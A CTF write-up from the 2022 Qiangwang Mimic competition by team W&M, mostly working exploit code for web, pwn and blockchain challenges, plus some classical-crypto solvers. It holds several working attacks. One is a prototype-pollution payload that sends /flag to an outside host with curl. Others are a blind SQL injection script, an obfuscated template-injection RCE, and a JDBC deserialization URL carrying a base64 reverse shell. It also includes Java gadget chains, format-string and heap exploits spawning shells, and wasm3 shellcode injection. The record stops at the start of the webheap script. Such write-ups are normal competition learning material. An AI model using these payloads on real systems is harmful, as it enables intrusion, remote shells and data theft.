强网拟态 2022 By W&M
WEB
WHOYOUARE
constructor.prototype原型链污染 argv0 $0
import json
import requests
url = "http://172.52.31.56:3000/user"
def req(payload):
r = requests.post(url, json={
"user": json.dumps({
"command": ["-c", payload],
"constructor": {
"prototype": {
"argv0": "curl -d@/flag 10.92.85.14:2333"
}
}
})
})
d = r.json()
if d['status'] ==0:
print(d['info'].removeprefix('User of guest : '))
else:
print(d)
req("env")
req("$0")
popsql
import requests
flag=''
for a in range(1,9999):
print(a)
for i in range(30,130):
payload=("' or if((select STRCMP(hex(right((select (f1aG123) from Fl49ish3re),"+str(a)+")),'"+str(hex(i))[2:]+flag+"')),1,benchmark(9999999,md5('test')))#").replace(" ","/**/")
try:
#UPDATE `Fl49ish3re` SET `f1aG123` = ? WHERE `f1aG123` = ?
#Fl49ish3re
#users,Fl49ish3re
r=requests.post(url="<http://172.52.31.84/index.php",data={"username":"admin","password>":payload},timeout=1)
#print(r.text)
except:
flag=str(hex(i))[2:]+flag
print(payload)
print(flag)
break
sys.x$statement_analysis读列名
没有人比我更懂PY
data={{()["__\\143\\154\\141\\163\\163__"]["__\\155\\162\\157__"][1]["__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__"]()[247]["__\\151\\156\\151\\164__"]["__\\147\\154\\157\\142\\141\\154\\163__"]["\\157\\163"]["\\160\\157\\160\\145\\156"]("\\143\\141\\164\\40\\57\\146\\154\\141\\147")["\\162\\145\\141\\144"]()}}
不允许有a-z。八进制绕过
easy_java
前面rogue mysql 把源码读下来
然后是个反序列化
url=jdbc:mysql://10.92.85.6:3306/test?%2561%2575%2574%256f%2544%2565%2573%2565%2572%2569%2561%256c%2569%257a%2565 =true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_Groovy1_bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pOyBzLmNvbm5lY3QoKCIxMC45Mi44NS42IiwxMzM3KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=}|{base64,-d}|{bash,-i}
第一层用url编码绕过。第二层加个空格绕过
然后Groovy反序列化直接用
ezus
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:76:"php://filter/read=convert.base64-encode/try|pass/resource=/var/www/html/hint";s:4:"hint";s:67:"aaaa://localhost..@prankhub/../../../../../../../f1111444449999.txt";}}
反序列化逃逸。fastdestruct。
NoRCE
反序列化禁用了com.example.demo.bean.Connect和java.security.*
二次反序列化绕过
http://tttang.com/archive/1701/#toc_rmiconnector
二次反序列化。BadAttributeValueExpException
到MyBean
的tostring然后到``Connect触发jdbc
roguemysql netdoc列目录。读文件
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException, IOException {
Connect c = new Connect("jdbc:mysql://10.92.85.6:3306/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true", "", "");
MyBean my = new MyBean("", "", c);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, my);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 本体
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式,懂?
objectOutputStream.writeObject(poc);
objectOutputStream.close();
String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
System.out.println(data);
}
}
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;
import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
public class exp2 {
public static void setField(Object obj, String field, Object value) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, value);
}
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setField(jmxServiceURL, "urlPath", "/stub/rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAEnQAA2V4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAHGNvbS5leGFtcGxlLmRlbW8uYmVhbi5NeUJlYW4BFaoXHFZFKQIAA0wABGNvbm50ACZMamF2YXgvbWFuYWdlbWVudC9yZW1vdGUvSk1YQ29ubmVjdG9yO0wAB21lc3NhZ2VxAH4AAUwAA3VybHEAfgABeHBzcgAdY29tLmV4YW1wbGUuZGVtby5iZWFuLkNvbm5lY3RHjtzGNSsWrgIAA0wABG5hbWVxAH4ABUwACHBhc3N3b3JkcQB+AAVMAAN1cmxxAH4ABXhwdAAAcQB+ABt0AG5qZGJjOm15c3FsOi8vMTAuOTIuODUuNjozMzA2L2pkYmM/YWxsb3dMb2FkTG9jYWxJbmZpbGU9dHJ1ZSZtYXhBbGxvd2VkUGFja2V0PTY1NTM2MCZhbGxvd1VybEluTG9jYWxJbmZpbGU9dHJ1ZXEAfgAbcQB+ABs=");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
MyBean my = new MyBean("", "", rmiConnector);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc, my);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 本体
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式,懂?
objectOutputStream.writeUTF("cb2a2fbd");
objectOutputStream.writeObject(poc);
objectOutputStream.close();
String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
//byte[] bytes = tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
String secret = data.substring(0, 6);
String key = objectInputStream.readUTF();
System.out.println(key);
System.out.println(secret);
System.out.println(data);
if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
objectInputStream.readObject();
System.out.println("oops");
} else {
System.out.println("incorrect key");
}
}
MIMIC
pwn1
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#sh = process('./pwn1-1')
sh = remote('172.52.31.74', 9999)
def choice(idx):
sh.sendline(str(idx))
choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0x00000000000012A0
log.success("code_base:\\t" + hex(codebase))
#gdb.attach(sh, "b printf")
printf_got = codebase + 0x4028
system_plt = codebase + 0x1046
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()
pwn1-1
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
sh = process('./pwn1')
#sh = remote('172.52.31.20', 9999)
def choice(idx):
sh.sendline(str(idx))
choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0xa94
log.success("code_base:\\t" + hex(codebase))
gdb.attach(sh, "b printf")
printf_got = codebase + 0x202038
system_plt = codebase + 0x876
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()
pwn2-1
# encoding: utf-8
from pwn import *
elf = None
libc = None
file_name = "./pwn2-1"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
if context.binary == None:
context.binary = dic + file_name
assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in lib or '/libc-' in lib:
libc = ELF(lib, checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process([file_name])
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\\t'
return_address = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
pause()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def choice(idx):
sh.sendlineafter("choice :", str(idx))
def add(size, content):
choice(1)
sh.sendlineafter("size :", str(size))
sh.sendafter("Content :", str(content))
def delete(idx):
choice(2)
sh.sendlineafter("Index :", str(idx))
def show(idx):
choice(3)
sh.sendlineafter("Index :", str(idx))
def pwn(sh, elf, libc):
context.log_level = "debug"
choice(5)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0x00000000000011F0
magic = codebase + 0x0000000000001B70
log.success("code_base:\\t" + hex(codebase))
add(0x68, 'a' * 0x68)
add(0x68, 'b' * 0x68)
delete(0)
delete(1)
add(0x8, p64(magic))
show(0)
#gdb.attach(sh)
#delete(0)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
web_mimic
des一把索
Crypto
Vigenere
https://d33b4t0.com/Classical%20Cryptography/ DBT脚本一把梭
import gmpy2
f = open(r'cipher.txt','r')
c = f.read()
f.close()
best_index = 0.065
sum = 0
dic_index = {'a': 0.08167,'b': 0.01492,'c': 0.02782,'d':0.04253,'e': 0.12702,'f':0.02228,'g': 0.02015,'h':0.06094,'i':0.06966,'j':0.00153,'k':0.00772,'l':0.04025,'m':0.02406,'n':0.06749,'o':0.07507,'p':0.01929,'q':0.00095,'r':0.05987,'s':0.06327,'t':0.09056,'u':0.02758,'v':0.00978,'w':0.02360,'x':0.00150,'y':0.01974,'z':0.00074}
def IndCo(s):
alpha = 'abcdefghijklmnopqrstuvwxyz'
freq = {}
for i in alpha:
freq[i] = 0
for i in s:
freq[i] = freq[i] + 1
index = 0
for i in alpha:
index = index + (freq[i]*(freq[i] - 1 )) / (len(s) * (len(s) - 1 ))
return index
def IndCo_m(s):
alpha = 'abcdefghijklmnopqrstuvwxyz'
freq = {}
for i in alpha:
freq[i] = 0
for i in s:
freq[i] += 1
index = 0
for i in alpha:
index += freq[i] / len(s) * dic_index[i]
return index
def get_keylen(c):
keylen = []
for i in range(1,100):
average_index = 0
for j in range(i):
s = ''.join(c[j+i*x] for x in range(0,len(c)//i))
index = IndCo(s)
average_index+=index
average_index = average_index/i - best_index
if abs(average_index)<0.01:
keylen.append(i)
return keylen
keylen = get_keylen(c)
print("keylen", keylen)
def decrypt(c,i,j):
alpha = 'abcdefghijklmnopqrstuvwxyz'
m = ''
for x in c:
m += alpha[((alpha.index(x)-j)*gmpy2.invert(i,26))%26]
return m
def get_key(c):
for i in range(26):
if gmpy2.gcd(i,26)!= 1 :
continue
for j in range(26):
m = decrypt(c,i,j)
index = IndCo_m(m)
if abs(index-0.065)<0.01:
return (i,j)
def get_all_key(s,keylen):
for i in range(keylen):
temps = ''.join([s[i+x*keylen] for x in range(0,len(s)//keylen)])
print(get_key(temps))
get_all_key(c,keylen[0])
from Crypto.Cipher import AES
plaintext = ''
k1 = [3,15,17,7,5,5,19,19,3,15,1,23,5,11,25]
k2 = [18,25,20,12,3,16,14,15,6,0,9,18,10,7,12]
l1 = len(k1)
l2 = len(k2)
alpha='abcdefghijklmnopqrstuvwxyz'
for i in range(len(c)):
plaintext+=alpha[((alpha.index(c[i])-k2[i%l2])*gmpy2.invert(k1[i%l1],26))%26]
print(plaintext)
from Crypto.Util.number import *
cipher = 0xe0365a1ed561342b57ce068008a20ce34e4d488e0b43954e7f638f85d36f416b07d1139bab9995ab3afd8d09f9ee0b91
cipher = long_to_bytes(cipher)
for i in range(len(plaintext)):
key = plaintext[i:i+16]
aes = AES.new(key.encode(), AES.MODE_ECB)
flag = aes.decrypt(cipher)
if b'flag' in flag:
print(flag)
print(key)
break
weakrandom
爆破猜key就行
from tqdm import tqdm
from pwn import *
import hashlib
POST = '172.52.31.158'
# POST = '127.0.0.1'
HOST = 9998
r = remote(POST,HOST)
context.log_level = 'debug'
table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def passpow():
rev = r.recvuntil("sha256(XXXX+")
suffix = r.recv(16).decode()
r.recvuntil(" == ")
res = r.recv(64).decode()
def f(x):
hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
if hashresult == res:
return 1
else:
return 0
prefix = util.iters.mbruteforce(f,table,4,'upto')
r.recvuntil("XXXX:")
r.sendline(str(prefix))
def talk(num):
r.recvuntil("guess : ")
r.sendline(str(num))
class WeakRandom:
def __init__(self,seed,n,s):
self.x = seed
self.n = n
self.s = s
def next(self):
x = int((self.x ** 2) // (10 ** (self.s // 2))) % self.n
self.x = x
high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)
low = x & (2 ** 16 - 1)
result = high << 16 | low
return result
passpow()
talk(0)
r.recvuntil("Fail! The number is ")
output = int(r.recvline(False))
low = output & (2 ** 16 - 1)
print(low, output)
n, s, x = 10000000000, 4, 0
for high in tqdm(range(0xffff+1)):
x = high << 16 | low
if (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1) == output >> 16:
print("Found!", x)
print("x:", x)
Q = WeakRandom(x,n,s)
for i in range(20):
talk(Q.next())
r.interactive()
BLOCKCHAIN
ToBeEquel
nc第一步爆破
from pwn import *
def passpow():
sh.recvuntil('sha256')
s = sh.recv().decode('utf-8')
print(s)
prefix = re.split('\\(', s)[1][:8]
while 1:
answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
bits = bin(int(hashlib.sha256((prefix + answer).encode()).hexdigest(), 16))[2:]
if bits.endswith('00000000000000000000'):
print(answer)
sh.sendline(answer)
return
sh = remote('140.210.195.172', 10001)
passpow()
sh.interactive()
solidity合约源码
pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;
contract ToBeEquel {
address private owner;
mapping(address => uint) public balances;
uint private last_balance;
event ForFlag(address addr);
constructor() public {
owner = msg.sender;
balances[owner] = 500;
}
modifier onlyOwner {
require(msg.sender == owner || msg.sender == address(this), "not authorized");
_;
}
function CallTest(address to, string memory customFallback, bytes memory data) public {
if (_isContract(to)) {
(bool success,) = to.call{value: 0}(
abi.encodeWithSignature(customFallback, msg.sender, data)
);
assert(success);
}
}
function _isContract(address addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(addr)
}
return (length > 0);
}
function _Cal(uint value, uint amount) public onlyOwner {
require(balances[tx.origin]<balances[owner]);
require(balances[tx.origin]>=last_balance);
balances[owner] -= uint(value & 0xff);
balances[tx.origin] += amount;
last_balance = balances[tx.origin];
}
function getFlag() external {
require(balances[owner]==balances[msg.sender]);
emit ForFlag(msg.sender);
}
}
要求balances[owner] == balances[msg.sender]
,可以修改两个值的地方是_Cal
,而_Cal
只有Owner可以调用。阅读代码发现可以用CallTest
来调用。
由于CallTest
中data的类型是bytes,所以内存结构如下。
feb6d173 -> function signature
address(msg.sender) -> caller address
0x40 -> data offset
0x20 -> data size
data raw bytes -> data
其中address通过爆破可控,data可控(但是没用),offset应该可控,但是不需要。也就是说可以控制_Cal
里的value。
那么做两次调用,第一次 balances[origin] = 0 + 64, balance[owner] = 500 - 255 = 245,第二次第二次 balances[orginal] = 64 + 64 = 128, balance[owner] = 245 - 117 = 128。只需要生成两个账户,最低位分别为0xff和0x75即可。
from web3 import Web3, HTTPProvider
from ethereum import utils
import os, sys
# generate EOA with the ability to deploy contract with appendix 1b1b
# <https://hitcxy.com/2020/generate-address/>
def generate_eoa2(surfix):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith(surfix):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
return addr, priv, utils.decode_addr(utils.mk_contract_address(addr, 0))
def hack(public, data, private, to=None):
txn = {
'from': Web3.toChecksumAddress(public),
'to': Web3.toChecksumAddress(to),
'chainId': 0x22b8, # w3.eth.chainId,
'gasPrice': w3.eth.gasPrice,
'gas': 8000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'data': data,
}
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print("txn_hash=", txn_hash)
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print(txn_receipt)
return txn_receipt
w3 = Web3(Web3.HTTPProvider("<http://140.210.195.172:8545>"))
public_wallet = "REDACTED"
private_wallet = "REDACTED"
contract = "0x70b3aC68bF86d10b6A4D47977B7002A065735253"
public_ff, priavte_ff, contract_ff = generate_eoa2("ff")
public_75, private_75, contract_75 = generate_eoa2("ff")
# Deploy Attack
'''
contract Exp {
bytes public test;
ToBeEquel other;
constructor() public payable {
other = ToBeEquel(address(0x70b3aC68bF86d10b6A4D47977B7002A065735253));
}
function trigger() public {
other.CallTest(address(other), "_Cal(uint256,uint256)",bytes(abi.encode(0x1337)));
}
}
'''
data = "0x60806040527370b3ac68bf86d10b6a4d47977b7002a065735253600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e5806100686000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80637fec8d381461003b578063f8a8fd6d14610045575b600080fd5b610043610063565b005b61004d610137565b60405161005a91906102af565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0f1d69c600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166113376040516020016100d791906102d1565b6040516020818303038152906040526040518363ffffffff1660e01b815260040161010392919061026c565b600060405180830381600087803b15801561011d57600080fd5b505af1158015610131573d6000803e3d6000fd5b50505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b6101de81610319565b82525050565b60006101ef826102ec565b6101f981856102f7565b935061020981856020860161036b565b6102128161039e565b840191505092915050565b61022681610359565b82525050565b6000610239601583610308565b91507f5f43616c2875696e743235362c75696e743235362900000000000000000000006000830152602082019050919050565b600060608201905061028160008301856101d5565b81810360208301526102928161022c565b905081810360408301526102a681846101e4565b90509392505050565b600060208201905081810360008301526102c981846101e4565b905092915050565b60006020820190506102e6600083018461021d565b92915050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061032482610339565b9050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103648261032b565b9050919050565b60005b8381101561038957808201518184015260208101905061036e565b83811115610398576000848401525b50505050565b6000601f19601f830116905091905056fea26469706673582212209de64f4e2c3f3a232d4deefbff97e3d9a406c7b4f95f87164da5ed3202782f6264736f6c634300060c0033"
print(hack(public=public_ff, data=data, private=priavte_ff, to=None))
print(hack(public=public_75, data=data, private=private_75, to=None))
# call trigger()
data = "0x7fec8d38"
hack(public=public_wallet, data=data, private=private_wallet, to=contract_ff)
hack(public=public_wallet, data=data, private=private_wallet, to=contract_75)
# call getflag()
data = "0xf9633930"
hack(public=public_wallet, data=data, private=private_wallet, to=contract)
PWN
slot_missing
编译过程
git clone <https://github.com/wasm3/wasm3.git>
cd wasm3
git checkout 9dcfce271c2fac86823725fc9ec0f75309d820e4
git apply patch.diff
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-z execstack" -DCMAKE_CXX_FLAGS="-z execstack" ..
make
值得注意的是开了 -z execstack,并且在 18.04 下,栈和堆都具有可执行权限,由于一直在 ubuntu 20.04 下调试,一直以为堆没有可执行权限,因此卡了很久😂。
patch.diff
diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2a4a8aa..b1cac8c 100755
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -186,6 +186,8 @@ endif()
target_link_libraries(${OUT_FILE} m3)
+set(BUILD_WASI "none")
+
if(BUILD_WASI MATCHES "simple")
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Dd_m3HasWASI")
elseif(BUILD_WASI MATCHES "metawasi")
diff --git a/platforms/app/main.c b/platforms/app/main.c
index d4af4e4..0327153 100644
--- a/platforms/app/main.c
+++ b/platforms/app/main.c
@@ -71,7 +71,7 @@ M3Result link_all (IM3Module module)
res = m3_LinkSpecTest (module);
if (res) return res;
- res = m3_LinkLibC (module);
+ /*res = m3_LinkLibC (module);
if (res) return res;
#if defined(LINK_WASI)
@@ -92,7 +92,7 @@ M3Result link_all (IM3Module module)
}
if (res == m3Err_functionLookupFailed) { res = NULL; }
#endif
-
+ */
return res;
}
@@ -281,7 +281,8 @@ M3Result repl_call (const char* name, int argc, const char* argv[])
return result;
#else
- return "WASI not linked";
+ return m3_CallArgv(func, 0, NULL);
+ //return "WASI not linked";
#endif
}
diff --git a/source/m3_compile.c b/source/m3_compile.c
index 8a93330..006ddfa 100644
--- a/source/m3_compile.c
+++ b/source/m3_compile.c
@@ -1791,6 +1791,17 @@ _ (EmitSlotNumOfStackTopAndPop (o));
_catch: return result;
}
+static
+M3Result Compile_Pwn (IM3Compilation o, m3opcode_t i_opcode)
+{
+ M3Result result = m3Err_none;
+ IM3Operation op = op_Pwn;
+
+_ (EmitOp (o, op));
+_ (EmitSlotNumOfStackTopAndPop (o));
+
+ _catch: return result;
+}
static
M3Result ReadBlockType (IM3Compilation o, IM3FuncType * o_blockType)
@@ -2539,7 +2550,7 @@ const M3OpInfo c_operationsFC [] =
M3OP( "memory.copy", 0, none, d_emptyOpList, Compile_Memory_CopyFill ), // 0x0a
M3OP( "memory.fill", 0, none, d_emptyOpList, Compile_Memory_CopyFill ), // 0x0b
-
+ M3OP( "wasm.pwn", 0, none, d_emptyOpList, Compile_Pwn ), //0x0c
# ifdef DEBUG
M3OP( "termination", 0, c_m3Type_unknown ) // for find_operation_info
diff --git a/source/m3_exec.h b/source/m3_exec.h
index 461ffaa..f21c0ee 100644
--- a/source/m3_exec.h
+++ b/source/m3_exec.h
@@ -742,6 +742,12 @@ d_m3Op (MemFill)
else d_outOfBoundsMemOp (destination, size);
}
+d_m3Op (Pwn)
+{
+ u32 *ptr = slot_ptr (u32);
+ printf("ptr=0x%lx\\n",ptr);
+ nextOp ();
+}
// it's a debate: should the compilation be trigger be the caller or callee page.
// it's a much easier to put it in the caller pager. if it's in the callee, either the entire page
项目:https://github.com/wasm3/wasm3.git,给一次执行任意 wasm 代码的权限
https://github.com/ha1vk/blackhat_wasm
#安装wat2wasm
sudo apt install wabt
漏洞点(CVE-2022-34529):https://github.com/wasm3/wasm3/issues/337
新增的功能 wasm.pwn 在 wat2wasm 源码里可以找到为 table.init(应该是 wasm3 没有实现完整),我们这边用 table.init 替代一下,然后搜索替换后缀数据为 NOP (01),使用新增功能 op_Pwn 结合这个漏洞可以做到 CALL PC_STACK 上的数据,但是 PC_STACK 一般是编译后各种 OP 的地址和参数的下标。
通过各种尝试可以找到 global.get 可以插入一个堆地址到 PC_STACK,插入的堆地址的数据可控(为全局变量数据),这样结合编译时的选项可以让程序到堆上执行 shellcode,但没找到创建连续数据的方式,这里用多个全局变量,然后之间用 JMP 串联来实现
EXP
import os
code = '''
(module
(type (;0;) (func))
(global $test (;0;) (mut i64) (i64.const 0x28ebc031485e5041))
(global $test2 (;0;) (mut i64) (i64.const 0x28ebd23148ff3148))
(global $test3 (;0;) (mut i64) (i64.const 0x28eb909090c2ff48))
(global $test4 (;0;) (mut i64) (i64.const 0x28eb050f10e2c148))
(func $_start (type 0)
(local i64 i64 i64 i64 i64 i64 i64 i64 i64 i64)
f32.const 1.1
f32.ceil
table.init 0
global.get $test
global.set $test
)
(memory (;0;) 0x2)
(export "_start" (func $_start))
)
'''
lines = code.split('\\n')
code = ''
for line in lines:
if '//' not in line:
code += line + '\\n'
os.remove("exp.wat")
with open('exp.wat', 'w') as f:
f.write(code)
os.system('wat2wasm --enable-all --no-check exp.wat')
with open("exp.wasm", "rb") as f:
wasm_data = f.read()
wasm_data = wasm_data.replace(b'\\xfc\\x0c\\x00\\x00', b'\\xfc\\x0c\\x01\\x01')
with open("exp.wasm", "wb") as f:
f.write(wasm_data)
生成 shellcode
from pwn import *
context.arch = "amd64"
shellcode = '''
push r8
pop rsi
xor rax, rax
xor rdi, rdi
xor rdx, rdx
inc rdx
shl rdx, 16
syscall
nop
'''
jmp_asm = asm('jmp $+0x2a')
asm_code = ""
asm_list = shellcode.splitlines()
for i in range(len(asm_list)):
this_asm = asm(asm_list[i])
new_code = asm_code + this_asm
if len(new_code) > 6 or i == len(asm_list) - 1:
asm_code = asm_code.ljust(6, '\\x90') + jmp_asm
print(hex(u64(asm_code)))
log.hexdump(asm_code)
asm_code = this_asm
else:
asm_code = new_code
二次读入发送 shellcode
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
sh = remote('172.52.31.225', 6666)
sh.sendlineafter("please input your wasm code length:", str(len(wasm_data)))
sh.sendafter("please input your wasm code:", wasm_data)
sleep(5)
sh.sendline('\\x90' * 0x100 + asm(shellcraft.sh()))
sh.interactive()
webheap
from pwn import *
from ctypes import *
# sh = process('./webheap')
